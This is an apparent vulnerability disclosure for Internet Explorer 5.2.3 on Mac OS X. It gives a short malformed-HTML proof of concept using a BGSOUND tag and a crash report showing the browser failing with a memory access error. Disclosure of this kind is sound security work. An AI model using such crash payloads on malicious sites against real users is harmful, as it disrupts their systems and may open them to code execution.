Microsoft IE 5.2.3 is the last IE browser released for Mac OSX.
IE 5.2.3 contain a vulnerability that allow a remote attacker to
crash the browser an potetially remote code execution.
A remote attacker could setup a malicious site and entice a victim to
visit it triggering the buffer overflow.
Exploit tested on Tiger and Panther.
Sample of POC (save on file and open with IE to test locally)
------------------------------------------------------------------------
---------
Begin code------
<HTML> <HEAD>
<TABLE
><BGSOUND
about:file"" SRC=about:""
>
End of code-------
Apple Crash Report
---------------------------
OS Version: 10.4.2 (Build 8C46)
Report Version: 3
Command: Internet Explorer
Path: /Applications/Internet Explorer.app/Contents/MacOS/Internet
Explorer
Parent: WindowServer [65]
Version: 5.2.3 (5.2.3)
Build Version: 30
Project Name: MicrosoftIE5
Source Version: 58150100
PID: 854
Thread: 7
Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x000002e4
Thread 0:
0 libSystem.B.dylib 0x9000a778 mach_msg_trap + 8
1 libSystem.B.dylib 0x9000a6bc mach_msg + 60
2 ...ple.CoreServices.CarbonCore 0x90b661e4 SwitchContexts + 96
3 ...ple.CoreServices.CarbonCore 0x90b5be90 YieldToThread + 372
.....
snip----
Regards,
Marco
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